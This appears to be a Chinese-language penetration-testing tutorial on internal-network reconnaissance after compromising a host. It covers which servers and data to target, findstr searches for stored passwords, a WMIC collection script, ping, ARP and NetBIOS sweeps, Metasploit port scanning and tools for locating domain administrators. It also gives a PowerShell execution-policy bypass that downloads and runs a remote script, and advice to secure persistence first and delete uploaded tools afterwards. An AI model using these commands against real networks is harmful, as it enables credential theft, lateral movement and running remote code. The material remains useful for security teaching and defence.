內網資訊收集的作用

可以通過資訊收集判斷當前裝置的角色、當前網路的環境、當前所屬的區域，繪製出大概的內網整體的拓撲結構圖

區域：

普通辦公區裝置
DMZ區域的WEB伺服器
內網普通WEB伺服器
開發測試伺服器
檔案共享伺服器
代理伺服器
DNS伺服器
核心業務系統伺服器

裝置資訊：

裝置提供服務
裝置所處位置
裝置主機名
裝置內部檔案
裝置網路連線

裝置關鍵資訊

作業系統
系統版本
系統服務
系統埠
系統程序
系統補丁
內網IP地址段
系統許可權
系統共享
網路連線
防毒軟體
使用者角色

敏感資訊收集

資料、檔案和資料

資料和檔案定位
定位內部人事組織架構
監視等重要人員
監視人員裝置
人員存放文件的位置
列舉文件伺服器目錄
 

核心業務機器

高階管理、人事、財務等個人電腦
產品管理系統伺服器
辦公系統伺服器
財務應用系統伺服器
核心產品原始碼伺服器
資料庫伺服器
檔案/共享伺服器
電子郵件伺服器
網路監控伺服器
供應鏈伺服器

敏感資訊和檔案

網站原始碼備份檔案、資料庫備份檔案
各類資料庫的WEB管理/後臺入口
瀏覽器密碼和瀏覽器Cookie
遠端桌面連線
回收站
個人及伺服器相關密碼
無線密碼
各類系統賬號和密碼等
瀏覽器瀏覽記錄

應用與檔案形式資訊收集

• 拿下一臺機器後要先維權，許可權穩了再收集資訊，資訊收集一定要全面仔細，資訊收集完了再搞內網
• 往目標主機中傳工具用完就刪
• 翻檔案的話，可以使用一些搜尋命令來快速尋找

# 指定目錄下的檔案中搜集各種賬號密碼：
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
 

前後端基本架構

滲透測試人員需要對目標網站的基本情況進行簡單的判斷，分析目標伺服器所使用的web伺服器、後端指令碼、資料庫、系統平臺等

# 常見的web架構
ASP + Access + IIS 5.0/6.0 + Windows Server 2003
ASPX + MSSQL + IIS 7.0/7.5 + Windows Server 2008
PHP + MySQL + Apache
PHP + MySQL + IIS
PHP + MySQL + Nginx
JSP + MySQL + Nginx
JSP + MSSQL + Tomcat
JSP + Oracle + Tomcat

本機資訊收集

自動收集資訊

為了簡化操作，可以建立一個指令碼， 在目標機器上完成流程、服務、使用者賬號、使用者組、網時區等資訊的查詢工作。

利用 WMIC 進行資訊收集：建立 wmic.bat 檔案 寫入如下內容，執行後生成 .html 檔案

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> sysinfo.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> sysinfo.html
wmic USERACCOUNT list full /format:"%var%" >> sysinfo.html
wmic group list full /format:"%var%" >> sysinfo.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> sysinfo.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> sysinfo.html
wmic netuse list full /format:"%var%" >> sysinfo.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> sysinfo.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> sysinfo.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> sysinfo.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> sysinfo.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> sysinfo.html

域內資訊收集

域內活躍主機探測

NetBIOS掃描

• NetBIOS(Network Basic Input/Output System)即網路基本輸入/輸出系統協議
• NetBIOS 協議是一種在區域網上的程式可以使用的應用程式程式設計介面(API)，為程式提供了請求低階服務的統一的命令集，作用是為了給區域網提供網路以及其他特殊功能，幾乎所有的區域網都是在 NetBIOS 協議的基礎上工作的
• nbtscan.exe 是一個命令列工具，可以掃描本地或者遠端網路上開放的 NetBIOS 名稱服務，可以獲取對應的域名資訊
• 某些版本的 windows 作業系統允許使用者通過 NetBOIS 查詢已登入使用者，可用通過指令碼掃描遠端系統活躍域中的管理會話

nbtscan.exe -h
nbtscan.exe -m <xxx.xxx.xxx.0>/24

# 掃描遠端系統的 NetBOIS 資訊
for /F %i in (ips.txt) do @echo [+]Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && for /F %n in (names.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

ICMP掃描

ICMP 協議全稱為 Internet Control Message Protocol (Internet控制報文協議)，依次對內網中的每個 IP 地址執行 ping 命令，可以快速找到內網中全部存活的主機

for /L %I in (1,1,254) Do @ping -w 1 -n 1 <xxx.xxx.xxx>.%I | findstr "TTL="

ARP掃描

地址解析協議，即 ARP（Address Resolution Protocol），是根據 IP 地址獲取實體地址的一個 CP/IP 協議。主機發送資訊時將包含目標 IP 地址的 ARP 請求廣播到區域網絡上的所有主機，並接收返回訊息，以此確定目標的實體地址

arp-scan.exe -t <xxx.xxx.xxx.0>/24

Nishang指令碼

專案地址：https://github.com/samratashok/nishang

powershell -exec bypass -Command "& {Import-Module C:\Users\Administrator\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.253.0/24}"

域內埠掃描

Metasploit

# 進入 msf 命令列
msfconsole

# 搜尋埠掃描模組
search portscan

# 使用TCP掃描模組
use auxiliary/scanner/portscan/tcp

# 檢視需要設定的引數
show options

# 設定掃描目標的IP
set rhosts <目標IP>

# 設定要掃描的埠
set ports <埠1>,<埠2>,<埠3>,...

# 開始掃描
run

banner資訊

常需掃描的埠有：22,80-89,110,389,1099,1433,2059,6379,7001,8080,1521,3306,3389,5432,53,161,137,139

定位域管理員

psloggedon

• 在 Windows 上可以執行 net session 來檢視誰使用了本機資源，但是沒有命令可用來檢視誰在使用了遠端計算機資源，誰登陸了遠端計算機資源，使用 psloggedon 可以解決這一問題。

• 地址：https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

• 用法：psloggedon [- ] [-l] [-x] [\\computername | username]

PVEFindADUser

• 用於查詢活動目錄使用者登入位置，列舉域使用者，查詢在特定計算機上登入的使用者，包括本地使用者，通過RDP登入的使用者，用於執行服務和計劃任務的使用者。執行該工具需要 .NET Framework2.0 環境，並且具備管理員許可權。

• 用法：PVEFindADUser.exe -current

netview

• 使用 WinAPI 列舉系統，利用 NetSessionEnum 找尋登入會話，利用 NetShareEnum 找尋共享，利用 NetWkstaUserEnum 列舉登入的使用者。大部分功能不需要管理員許可權。

• 地址：https://github.com/mubix/netview

PowerView（常用）

• powerView.ps1 是一款依賴 powershell 和 wmi 對內網進行查詢的常用滲透測試指令碼，整合在 powersploit 工具包中，是一個收集域資訊很好用的指令碼。
• 地址：https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

PowerShell收集資訊

PowerShell是微軟推出的一款滿足管理員對作業系統及應用程式擴充套件需求的一個指令碼環境，是cmd.exe的加強版

4種執行許可權

• Restricted - 預設的設定，不允許任何script執行
• AllSigned - 只能執行經過數字證書籤名的script
• RemoteSigned - 本地指令碼不做限制，網路上下載的script就必須要有數字簽名
• Unrestricted - 允許所有的script執行，許可權最高

指令碼地址：https://github.com/PowerShellEmpire/PowerTools

# 檢視當前許可權
Get-ExecutionPolicy

# 修改許可權
Set-ExecutionPolicy <Unrestricted> 

# 匯入指令碼
Import-Module <powerview.ps1>

# 繞過許可權
powershell -exec bypass "import-module ./<powerview.ps1>;<命令>"
powershell -exec bypass -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<遠端IP>/<powerview.ps1>');<命令>"

PowerView

PowerView 是一款依賴 Powershell 和 WMI 對內網進行查詢的滲透測試指令碼

常用命令